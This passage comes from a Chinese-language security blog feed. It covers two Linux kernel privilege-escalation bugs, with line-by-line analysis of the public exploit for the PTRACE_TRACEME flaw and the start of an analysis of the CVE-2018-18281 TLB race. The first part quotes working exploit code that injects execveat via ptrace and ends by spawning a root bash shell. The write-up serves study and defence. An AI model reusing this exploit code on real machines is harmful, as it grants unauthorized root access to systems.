mode,</span></span><br><span class="line"><span class="comment">177 * limited to one packet</span></span><br><span class="line"><span class="comment">178 */</span></span><br><span class="line"><span class="number">179</span> SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));</span><br><span class="line"><span class="number">180</span> SAFE(fcntl(block_pipe[<span class="number">0</span>], F_SETPIPE_SZ, <span class="number">0x1000</span>));</span><br><span class="line"><span class="number">181</span> <span class="keyword">char</span> dummy = <span class="number">0</span>;</span><br><span class="line"><span class="number">182</span> SAFE(<span class="built_in">write</span>(block_pipe[<span class="number">1</span>], &dummy, <span class="number">1</span>));</span><br><span class="line"><span class="number">183</span> </span><br><span class="line"><span class="number">184</span> <span class="comment">/* spawn pkexec in a child, and continue here once our child is in execve() */</span></span><br><span class="line"><span class="number">185</span> <span class="keyword">static</span> <span class="keyword">char</span> middle_stack[<span class="number">1024</span>*<span class="number">1024</span>];</span><br><span class="line"><span class="number">186</span> <span class="keyword">pid_t</span> midpid = SAFE(clone(middle_main, middle_stack+<span class="keyword">sizeof</span>(middle_stack),</span><br><span class="line"><span class="number">187</span> CLONE_VM|CLONE_VFORK|SIGCHLD, <span class="literal">NULL</span>));</span><br><span class="line"><span class="number">188</span> <span class="keyword">if</span> (!middle_success) <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"><span class="number">189</span> </span><br><span class="line">======================= skip =======================</span><br><span class="line"><span class="number">215</span> }</span><br></pre></td></tr></table></figure><p>先看行 186, 调用 clone 生成子进程(也就是 task B), task B 运行 middle_main </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"> <span class="number">64</span> <span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">middle_main</span><span class="params">(<span class="keyword">void</span> *dummy)</span> </span>{</span><br><span class="line"> <span class="number">65</span> prctl(PR_SET_PDEATHSIG, SIGKILL);</span><br><span class="line"> <span class="number">66</span> <span class="keyword">pid_t</span> middle = getpid();</span><br><span class="line"> <span class="number">67</span> </span><br><span class="line"> <span class="number">68</span> self_fd = SAFE(<span class="built_in">open</span>(<span class="string">"/proc/self/exe"</span>, O_RDONLY));</span><br><span class="line"> <span class="number">69</span> </span><br><span class="line"> <span class="number">70</span> <span class="keyword">pid_t</span> child = SAFE(fork());</span><br><span class="line"> <span class="number">71</span> <span class="keyword">if</span> (child == <span class="number">0</span>) {</span><br><span class="line"> <span class="number">72</span> prctl(PR_SET_PDEATHSIG, SIGKILL);</span><br><span class="line"> <span class="number">73</span> </span><br><span class="line"> <span class="number">74</span> SAFE(dup2(self_fd, <span class="number">42</span>));</span><br><span class="line"> <span class="number">75</span> </span><br><span class="line"> <span class="number">76</span> <span class="comment">/* spin until our parent becomes privileged (have to be fast here) */</span></span><br><span class="line"> <span class="number">77</span> <span class="keyword">int</span> proc_fd = SAFE(<span class="built_in">open</span>(tprintf(<span class="string">"/proc/%d/status"</span>, middle), O_RDONLY));</span><br><span class="line"> <span class="number">78</span> <span class="keyword">char</span> *needle = tprintf(<span class="string">"\nUid:\t%d\t0\t"</span>, getuid());</span><br><span class="line"> <span class="number">79</span> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"> <span class="number">80</span> <span class="keyword">char</span> buf[<span class="number">1000</span>];</span><br><span class="line"> <span class="number">81</span> <span class="keyword">ssize_t</span> buflen = SAFE(pread(proc_fd, buf, <span class="keyword">sizeof</span>(buf)<span class="number">-1</span>, <span class="number">0</span>));</span><br><span class="line"> <span class="number">82</span> buf[buflen] = <span class="string">'\0'</span>;</span><br><span class="line"> <span class="number">83</span> <span class="keyword">if</span> (<span class="built_in">strstr</span>(buf, needle)) <span class="keyword">break</span>;</span><br><span class="line"> <span class="number">84</span> }</span><br><span class="line"> <span class="number">85</span> </span><br><span class="line"> <span class="number">86</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> 87 * this is where the bug is triggered.</span></span><br><span class="line"><span class="comment"> 88 * while our parent is in the middle of pkexec, we force it to become our</span></span><br><span class="line"><span class="comment"> 89 * tracer, with pkexec's creds as ptracer_cred.</span></span><br><span class="line"><span class="comment"> 90 */</span></span><br><span class="line"> <span class="number">91</span> SAFE(ptrace(PTRACE_TRACEME, <span class="number">0</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>));</span><br><span class="line"> <span class="number">92</span> </span><br><span class="line"> <span class="number">93</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> 94 * now we execute passwd. because the ptrace relationship is considered to</span></span><br><span class="line"><span class="comment"> 95 * be privileged, this is a proper suid execution despite the attached</span></span><br><span class="line"><span class="comment"> 96 * tracer, not a degraded one.</span></span><br><span class="line"><span class="comment"> 97 * at the end of execve(), this process receives a SIGTRAP from ptrace.</span></span><br><span class="line"><span class="comment"> 98 */</span></span><br><span class="line"> <span class="number">99</span> <span class="built_in">puts</span>(<span class="string">"executing passwd"</span>);</span><br><span class="line"><span class="number">100</span> execl(<span class="string">"/usr/bin/passwd"</span>, <span class="string">"passwd"</span>, <span class="literal">NULL</span>);</span><br><span class="line"><span class="number">101</span> err(<span class="number">1</span>, <span class="string">"execl passwd"</span>);</span><br><span class="line"><span class="number">102</span> }</span><br><span class="line"><span class="number">103</span> </span><br><span class="line"><span class="number">104</span> SAFE(dup2(self_fd, <span class="number">0</span>));</span><br><span class="line"><span class="number">105</span> SAFE(dup2(block_pipe[<span class="number">1</span>], <span class="number">1</span>));</span><br><span class="line"><span class="number">106</span> </span><br><span class="line"><span class="number">107</span> <span class="class"><span class="keyword">struct</span> <span class="title">passwd</span> *<span class="title">pw</span> = <span class="title">getpwuid</span>(<span class="title">getuid</span>());</span></span><br><span class="line"><span class="number">108</span> <span class="keyword">if</span> (pw == <span class="literal">NULL</span>) err(<span class="number">1</span>, <span class="string">"getpwuid"</span>);</span><br><span class="line"><span class="number">109</span> </span><br><span class="line"><span class="number">110</span> middle_success = <span class="number">1</span>;</span><br><span class="line"><span class="number">111</span> execl(<span class="string">"/tmp/fakepkexec"</span>, <span class="string">"fakepkexec"</span>, <span class="string">"--user"</span>, pw->pw_name, <span class="literal">NULL</span>);</span><br><span class="line"><span class="number">112</span> middle_success = <span class="number">0</span>;</span><br><span class="line"><span class="number">113</span> err(<span class="number">1</span>, <span class="string">"execl pkexec"</span>);</span><br><span class="line"><span class="number">114</span> }</span><br></pre></td></tr></table></figure><p>行 70, 调用 fork 生成孙进程(也就是 task C)</p><p>然后行 111, task B 运行 fakepkexec 让自己提权再降权</p><p>然后看行 76 ~ 84, task C 检测到 task B 的 euid 变成 0 之后, 会执行行 91 进行 PTRACE_TRACEME 操作获取 root 的 ptracer_cred, 然后紧接着 task C 马上运行 execl 执行一个 suid binary 让自己的 euid 变成 0</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="number">190</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">191 * wait for our child to go through both execve() calls (first pkexec, then</span></span><br><span class="line"><span class="comment">192 * the executable permitted by polkit policy).</span></span><br><span class="line"><span class="comment">193 */</span></span><br><span class="line"><span class="number">194</span> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"><span class="number">195</span> <span class="keyword">int</span> fd = <span class="built_in">open</span>(tprintf(<span class="string">"/proc/%d/comm"</span>, midpid), O_RDONLY);</span><br><span class="line"><span class="number">196</span> <span class="keyword">char</span> buf[<span class="number">16</span>];</span><br><span class="line"><span class="number">197</span> <span class="keyword">int</span> buflen = SAFE(<span class="built_in">read</span>(fd, buf, <span class="keyword">sizeof</span>(buf)<span class="number">-1</span>));</span><br><span class="line"><span class="number">198</span> buf[buflen] = <span class="string">'\0'</span>;</span><br><span class="line"><span class="number">199</span> *strchrnul(buf, <span class="string">'\n'</span>) = <span class="string">'\0'</span>;</span><br><span class="line"><span class="number">200</span> <span class="keyword">if</span> (<span class="built_in">strncmp</span>(buf, basename(helper_path), <span class="number">15</span>) == <span class="number">0</span>)</span><br><span class="line"><span class="number">201</span> <span class="keyword">break</span>;</span><br><span class="line"><span class="number">202</span> usleep(<span class="number">100000</span>);</span><br><span class="line"><span class="number">203</span> }</span><br><span class="line"><span class="number">204</span> </span><br><span class="line"><span class="number">205</span> <span class="comment">/*</span></span><br><span class="line"><span class="comment">206 * our child should have gone through both the privileged execve() and the</span></span><br><span class="line"><span class="comment">207 * following execve() here</span></span><br><span class="line"><span class="comment">208 */</span></span><br><span class="line"><span class="number">209</span> SAFE(ptrace(PTRACE_ATTACH, midpid, <span class="number">0</span>, <span class="literal">NULL</span>));</span><br><span class="line"><span class="number">210</span> SAFE(waitpid(midpid, &dummy_status, <span class="number">0</span>));</span><br><span class="line"><span class="number">211</span> <span class="built_in">fputs</span>(<span class="string">"attached to midpid\n"</span>, <span class="built_in">stderr</span>);</span><br><span class="line"><span class="number">212</span> </span><br><span class="line"><span class="number">213</span> force_exec_and_wait(midpid, <span class="number">0</span>, <span class="string">"stage2"</span>);</span><br><span class="line"><span class="number">214</span> <span class="keyword">return</span> <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p>接下去回到 task A 的 main 函数, 行 194 ~ 202, task A 检测到 task B 的 binary comm 变成 helper 之后,<br>运行行 213 执行 force_exec_and_wait</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">116</span> <span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">force_exec_and_wait</span><span class="params">(<span class="keyword">pid_t</span> pid, <span class="keyword">int</span> exec_fd, <span class="keyword">char</span> *arg0)</span> </span>{</span><br><span class="line"><span class="number">117</span> <span class="class"><span class="keyword">struct</span> <span class="title">user_regs_struct</span> <span class="title">regs</span>;</span></span><br><span class="line"><span class="number">118</span> <span class="class"><span class="keyword">struct</span> <span class="title">iovec</span> <span class="title">iov</span> = {</span> .iov_base = &regs, .iov_len = <span class="keyword">sizeof</span>(regs) };</span><br><span class="line"><span class="number">119</span> SAFE(ptrace(PTRACE_SYSCALL, pid, <span class="number">0</span>, <span class="literal">NULL</span>));</span><br><span class="line"><span class="number">120</span> SAFE(waitpid(pid, &dummy_status, <span class="number">0</span>));</span><br><span class="line"><span class="number">121</span> SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));</span><br><span class="line"><span class="number">122</span> </span><br><span class="line"><span class="number">123</span> <span class="comment">/* set up indirect arguments */</span></span><br><span class="line"><span class="number">124</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> scratch_area = (regs.rsp - <span class="number">0x1000</span>) & ~<span class="number">0xfff</span>UL;</span><br><span class="line"><span class="number">125</span> <span class="class"><span class="keyword">struct</span> <span class="title">injected_page</span> {</span></span><br><span class="line"><span class="number">126</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> argv[<span class="number">2</span>];</span><br><span class="line"><span class="number">127</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> envv[<span class="number">1</span>];</span><br><span class="line"><span class="number">128</span> <span class="keyword">char</span> arg0[<span class="number">8</span>];</span><br><span class="line"><span class="number">129</span> <span class="keyword">char</span> path[<span class="number">1</span>];</span><br><span class="line"><span class="number">130</span> } ipage = {</span><br><span class="line"><span class="number">131</span> .argv = { scratch_area + offsetof(struct injected_page, arg0) }</span><br><span class="line"><span class="number">132</span> };</span><br><span class="line"><span class="number">133</span> <span class="built_in">strcpy</span>(ipage.arg0, arg0);</span><br><span class="line"><span class="number">134</span> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="keyword">sizeof</span>(ipage)/<span class="keyword">sizeof</span>(<span class="keyword">long</span>); i++) {</span><br><span class="line"><span class="number">135</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> pdata = ((<span class="keyword">unsigned</span> <span class="keyword">long</span> *)&ipage)[i];</span><br><span class="line"><span class="number">136</span> SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * <span class="keyword">sizeof</span>(<span class="keyword">long</span>),</span><br><span class="line"><span class="number">137</span> (<span class="keyword">void</span>*)pdata));</span><br><span class="line"><span class="number">138</span> }</span><br><span class="line"><span class="number">139</span> </span><br><span class="line"><span class="number">140</span> <span class="comment">/* execveat(exec_fd, path, argv, envv, flags) */</span></span><br><span class="line"><span class="number">141</span> regs.orig_rax = __NR_execveat;</span><br><span class="line"><span class="number">142</span> regs.rdi = exec_fd;</span><br><span class="line"><span class="number">143</span> regs.rsi = scratch_area + offsetof(struct injected_page, path);</span><br><span class="line"><span class="number">144</span> regs.rdx = scratch_area + offsetof(struct injected_page, argv);</span><br><span class="line"><span class="number">145</span> regs.r10 = scratch_area + offsetof(struct injected_page, envv);</span><br><span class="line"><span class="number">146</span> regs.r8 = AT_EMPTY_PATH;</span><br><span class="line"><span class="number">147</span> </span><br><span class="line"><span class="number">148</span> SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));</span><br><span class="line"><span class="number">149</span> SAFE(ptrace(PTRACE_DETACH, pid, <span class="number">0</span>, <span class="literal">NULL</span>));</span><br><span class="line"><span class="number">150</span> SAFE(waitpid(pid, &dummy_status, <span class="number">0</span>));</span><br><span class="line"><span class="number">151</span> }</span><br></pre></td></tr></table></figure><p>函数 force_exec_and_wait 的作用是使用 ptrace 控制 tracee 执行 execveat 函数替换进程的镜像, 这里它控制 task B 执行了 task A 的进程(即 exploit 的可执行程序)然后参数为 stage2, 这实际上就是让 task B 执行了 middle_stage2 函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">167</span> <span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span> </span>{</span><br><span class="line"><span class="number">168</span> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(argv[<span class="number">0</span>], <span class="string">"stage2"</span>) == <span class="number">0</span>)</span><br><span class="line"><span class="number">169</span> <span class="keyword">return</span> middle_stage2();</span><br><span class="line"><span class="number">170</span> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(argv[<span class="number">0</span>], <span class="string">"stage3"</span>) == <span class="number">0</span>)</span><br><span class="line"><span class="number">171</span> <span class="keyword">return</span> spawn_shell();</span><br></pre></td></tr></table></figure><p>而 middle_stage2 函数同样调用了 force_exec_and_wait , 这将使 task B 利用 ptrace 控制 task C 执行 execveat 函数,将 task C 的镜像也替换为 exploit 的 binary, 且参数是 stage3</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">153</span> <span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">middle_stage2</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"><span class="number">154</span> <span class="comment">/* our child is hanging in signal delivery from execve()'s SIGTRAP */</span></span><br><span class="line"><span class="number">155</span> <span class="keyword">pid_t</span> child = SAFE(waitpid(<span class="number">-1</span>, &dummy_status, <span class="number">0</span>));</span><br><span class="line"><span class="number">156</span> force_exec_and_wait(child, <span class="number">42</span>, <span class="string">"stage3"</span>);</span><br><span class="line"><span class="number">157</span> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="number">158</span> }</span><br></pre></td></tr></table></figure><p>当 exploit binary 以参数 stage3 运行时,实际运行的是 spawn_shell 函数, 所以 task C 最后阶段运行的是 spawn_shell</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">160</span> <span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">spawn_shell</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"><span class="number">161</span> SAFE(setresgid(<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>));</span><br><span class="line"><span class="number">162</span> SAFE(setresuid(<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>));</span><br><span class="line"><span class="number">163</span> execlp(<span class="string">"bash"</span>, <span class="string">"bash"</span>, <span class="literal">NULL</span>);</span><br><span class="line"><span class="number">164</span> err(<span class="number">1</span>, <span class="string">"execlp"</span>);</span><br><span class="line"><span class="number">165</span> }</span><br></pre></td></tr></table></figure><p>在 spawn_shell 函数里, 它首先使用 setresgid/setresuid 将本进程的 real uid/effective uid/save uid 都变成 root, 由于 task C 刚刚已经执行了 suid binary 将自身的 euid 变成了 root, 所以这里的 setresuid/setresgid 可以成功执行,到此为止, task C 就变成了一个完全的 root 进程, 最后再执行 execlp 启动一个 shell, 即得到了一个完整 root 权限的 shell</p><h2 id="引用"><a href="#引用" class="headerlink" title="引用"></a>引用</h2><ul><li><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1903" target="_blank" rel="noopener"> broken permission and object lifetime handling for PTRACE_TRACEME</a></li></ul>]]></content>
<summary type="html">
<p>author: Gengjia Chen (<a href="mailto:chengjia4574@gmail.com">chengjia4574@gmail.com</a>) of IceSword Lab, qihoo 360</p>
<p><a href="http
</summary>
</entry>
<entry>
<title>TLB 缓存延迟刷新漏洞 CVE-2018-18281 解析</title>
<link href="http://yoursite.com/2019/03/08/cve-2018-18281/"/>
<id>http://yoursite.com/2019/03/08/cve-2018-18281/</id>
<published>2019-03-08T16:53:40.000Z</published>
<updated>2025-07-16T10:02:19.305Z</updated>
<content type="html"><![CDATA[<p>author: <a href="mailto:chengjia4574@gmail.com">chengjia4574@gmail.com</a> of IceSword Lab , Qihoo 360</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>最近, 业内发现了一批内存管理系统的漏洞, project 0 的 <a href="https://twitter.com/tehjh" target="_blank" rel="noopener">Jann Horn</a> 放出了其中一个漏洞 <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1695" target="_blank" rel="noopener">CVE-2018-18281</a> 的 <a href="https://googleprojectzero.blogspot.com/2019/01/taking-page-from-kernels-book-tlb-issue.html" target="_blank" rel="noopener">writeup</a>, CVE-2018-18281 是一个 linux kernel 的通用漏洞, 这个漏洞的模式比较罕见, 不同于常规的内存溢出类漏洞, 也不是常见的 UAF 漏洞, 它是由内存管理系统的底层逻辑错误导致的, 根本原因是 TLB 缓存没有及时刷新造成虚拟地址复用, 可以实现较为稳定的提权利用. </p><h2 id="TLB"><a href="#TLB" class="headerlink" title="TLB"></a>TLB</h2><p>linux 内核通过 <a href="https://en.wikipedia.org/wiki/Page_table" target="_blank" rel="noopener">多级页表</a> 实现虚拟内存机制, 为了提高访问速度, 一些映射信息会被缓存在 <a href="https://en.wikipedia.org/wiki/Translation_lookaside_buffer" target="_blank" rel="noopener">TLB</a> 里, cpu 在访问一个虚拟地址的时候, 会先查找 TLB , 如果没有命中, 才去遍历主存里的多级页表, 并将查找到的映射关系填入 TLB</p><p>反过来, 如果某个映射关系要解除, 除了在主存里的相关表项要删除, 还需要对多个cpu core 同步执行 TLB 刷新, 使得在所有 TLB 缓存里该映射关系消除, 否则就会出现不一致. </p><p>上述关于 TLB 和内存映射的说明只是简化版本, 用于简单理解这个漏洞的原因, 真正的实现不同操作系统, 不同体系架构, 都不一样. 可以查阅芯片手册, 如 <a href="http://kib.kiev.ua/x86docs/SDMs/317080-002.pdf" target="_blank" rel="noopener">TLBs, Paging-Structure Caches, and Their Invalidation</a> 和一些分析, 如 <a href="https://www.cs.vu.nl/~herbertb/download/papers/revanc_ir-cs-77.pdf" target="_blank" rel="noopener">Reverse Engineering Hardware Page Table Caches</a></p><h2 id="漏洞"><a href="#漏洞" class="headerlink" title="漏洞"></a>漏洞</h2><p>先看两个系统调用</p><ul><li><a href="http://man7.org/linux/man-pages/man2/mremap.2.html" target="_blank" rel="noopener">mremap</a> 系统调用用来改变虚拟内存的映射区域</li><li><a href="https://linux.die.net/man/2/ftruncate" target="_blank" rel="noopener">ftruncate</a> 系统调用用来改变文件的大小到指定大小</li></ul><p>这两个系统调用表面上看八竿子打不着, 但在 linux 内核的实现里, 他们的调用链条会出现一个竞态条件异常</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">1) sys_mremap() -> mremap_to()->move_vma()->move_page_tables(). </span><br><span class="line">move_page_tables() first calls move_ptes() <span class="keyword">in</span> a loop, </span><br><span class="line"><span class="keyword">then</span> performs a TLB flush with flush_tlb_range().</span><br><span class="line"></span><br><span class="line">2) sys_ftruncate()->do_sys_ftruncate()->do_truncate()->notify_change()</span><br><span class="line">->shmem_setattr()->unmap_mapping_range()->unmap_mapping_range_tree()</span><br><span class="line">->unmap_mapping_range_vma() ->zap_page_range_single()->unmap_single_vma()</span><br><span class="line">->unmap_page_range()->zap_pud_range()->zap_pmd_range()->zap_pte_range()</span><br><span class="line">can concurrently access the page tables of a process that is <span class="keyword">in</span> move_page_tables(), </span><br><span class="line">between the move_ptes() loop and the TLB flush.</span><br></pre></td></tr></table></figure><p>mremap 底层实现主要是 move_ptes 函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">89</span> <span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">move_ptes</span><span class="params">(struct vm_area_struct *vma, <span class="keyword">pmd_t</span> *old_pmd,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="number">90</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> old_addr, <span class="keyword">unsigned</span> <span class="keyword">long</span> old_end,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="number">91</span> struct vm_area_struct *new_vma, <span class="keyword">pmd_t</span> *new_pmd,</span></span></span><br><span class="line"><span class="function"><span class="params"><span class="number">92</span> <span class="keyword">unsigned</span> <span class="keyword">long</span> new_addr, <span class="keyword">bool</span> need_rmap_locks)</span></span></span><br><span class="line"><span class="function">93 </span>{</span><br><span class="line"><span class="number">94</span> <span class="class"><span class="keyword">struct</span> <span class="title">address_space</span> *<span class="title">mapping</span> = <span class="title">NULL</span>;</span></span><br><span class="line"><span class="number">95</span> <span class="class"><span class="keyword">struct</span> <span class="title">anon_vma</span> *<span class="title">anon_vma</span> = <span class="title">NULL</span>;</span></span><br><span class="line"><span class="number">96</span> <span class="class"><span class="keyword">struct</span> <span class="title">mm_struct</span> *<span class="title">mm</span> = <span class="title">vma</span>-><span class="title">vm_mm</span>;</span></span><br><span class="line"><span class="number">97</span> <span class="keyword">pte_t</span> *old_pte, *new_pte, pte;</span><br><span class="line"><span class="number">98</span> <span class="keyword">spinlock_t</span> *old_ptl, *new_ptl;</span><br><span class="line">======================== skip ======================</span><br><span class="line"><span class="number">133</span> old_pte = pte_offset_map_lock(mm, old_pmd, old_addr, &old_ptl);</span><br><span class="line"><span class="number">134</span> new_pte = pte_offset_map(new_pmd, new_addr);</span><br><span class="line"><span class="number">135</span> new_ptl = pte_lockptr(mm, new_pmd);</span><br><span class="line"><span class="number">136</span> <span class="keyword">if</span> (new_ptl != old_ptl)</span><br><span class="line"><span class="number">137</span> spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);</span><br><span class="line"><span class="number">138</span> arch_enter_lazy_mmu_mode();</span><br><span class="line"><span class="number">139</span> </span><br><span class="line"><span class="number">140</span> <span class="keyword">for</span> (; old_addr < old_end; old_pte++, old_addr += PAGE_SIZE,</span><br><span class="line"><span class="number">141</span> new_pte++, new_addr += PAGE_SIZE) {</span><br><span class="line"><span class="number">142</span> <span class="keyword">if</span> (pte_none(*old_pte))</span><br><span class="line"><span class="number">143</span> <span class="keyword">continue</span>;</span><br><span class="line"><span class="number">144</span> pte = ptep_get_and_clear(mm, old_addr, old_pte);</span><br><span class="line"><span class="number">145</span> pte = move_pte(pte, new_vma->vm_page_prot, old_addr, new_addr);</span><br><span class="line"><span class="number">146</span> pte = move_soft_dirty_pte(pte);</span><br><span class="line"><span class="number">147</span> set_pte_at(mm, new_addr, new_pte, pte);</span><br><span class="line"><span class="number">148</span> }</span><br><span class="line"><span class="number">149</span> </span><br><span class="line"><span class="number">150</span> arch_leave_lazy_mmu_mode();</span><br><span class="line"><span class="number">151</span> <span class="keyword">if</span> (new_ptl != old_ptl)</span><br><span class="line"><span class="number">152</span> spin_unlock(new_ptl);</span><br><span class="line"><span class="number">153</span> pte_unmap(new_pte - <span class="number">1</span>);</span><br><span class="line"><span class="number">154</span> pte_unmap_unlock(old_pte - <span class="number">1</span>, old_ptl);</span><br><span class="line"><span class="number">155</span> <span class="keyword">if</span> (anon_vma)</span><br><span class="line"><span class="number">156</span> anon_vma_unlock_write(anon_vma);</span><br><span class="line"><span class="number">157</span> <span class="keyword">if</span> (mapping)</span><br><span class="line"><span class="number">158</span> i_mmap_unlock_write(mapping);</span><br><span class="line"><span class="number">159</span> }</span><br></pre></td></tr></table></figure><p>结合上面代码, 有两点需要注意</p><ul><li>锁, 133 ~ 137 这几行目的是获取 pmd (pmd 指针指向一个存满了 pte 结构的页面) 的锁 (包括旧的和新的), 151 ~ 154 这几行是释放 pmd 锁</li><li>ptes 拷贝, 对一个 pmd 里的所有 pte 执行拷贝操作, 144 这一行调用 ptep_get_and_clear 将 old_pte 的值赋值给临时变量 pte 并清空旧的页表项, 147 这一行调用 set_pte_at 将刚刚的 pte 赋值给 new_pte 指针</li></ul><p>简单而言, move_ptes 将旧的 pmd 页的值 ( ptes ) 拷贝到了新的 pmd 页, 这就是 mremap 函数在底层的实现, 它并不需要删除旧地址对应的 pages, 只需要将旧地址关联到的 ptes 拷贝到新地址关联的页表, 这种拷贝是按照 pmd 为单位进行的, 每处理完一个 pmd, 对应的 pmd lock 就会释放.</p><p>ftruncate 函数将文件大小变为指定的大小, 如果新的值比旧的值小, 则需要将文件在内存的虚存空间变小, 这需要调用到 zap_pte_range 函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span 